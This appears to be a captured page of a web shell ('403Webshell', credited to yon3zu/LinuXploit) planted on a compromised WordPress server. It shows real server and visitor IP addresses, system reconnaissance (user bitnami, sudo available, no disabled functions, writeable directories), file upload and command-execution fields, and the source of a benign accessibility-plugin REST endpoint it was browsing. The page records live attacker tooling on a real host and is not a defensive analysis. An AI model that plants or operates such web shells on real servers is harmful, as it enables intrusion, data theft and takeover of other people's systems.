403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/pojo-accessibility/modules/remediation/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/pojo-accessibility/modules/remediation/rest/page-status.php
<?php

namespace EA11y\Modules\Remediation\Rest;

use EA11y\Modules\Remediation\Classes\Route_Base;
use EA11y\Modules\Remediation\Database\Page_Entry;
use Throwable;
use WP_Error;
use WP_REST_Response;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Page_Status extends Route_Base {
	public string $path = 'page-status';

	public function get_methods(): array {
		return [ 'PATCH' ];
	}

	public function get_name(): string {
		return 'page-status';
	}

	/**
	 *
	 * @return WP_Error|WP_REST_Response
	 *
	 */
	public function PATCH( $request ) {
		try {
			$error = $this->verify_capability();

			if ( $error ) {
				return $error;
			}

			$url = esc_url_raw( $request->get_param( 'url' ) );
			$status = sanitize_text_field( $request->get_param( 'status' ) );
			$page = new Page_Entry([
				'by' => 'url',
				'value' => $url,
			]);

			// Prevent creating duplicate entry
			if ( ! $page->exists() ) {
				return $this->respond_error_json( [
					'message' => 'Failed to update page',
					'code' => 'page_not_found',
				] );
			}

			$page->update_status( $status );

			return $this->respond_success_json( [
				'message' => 'Page updated successfully',
				'data' => $page->to_json(),
			] );
		} catch ( Throwable $t ) {
			return $this->respond_error_json( [
				'message' => $t->getMessage(),
				'code' => 'internal_server_error',
			] );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit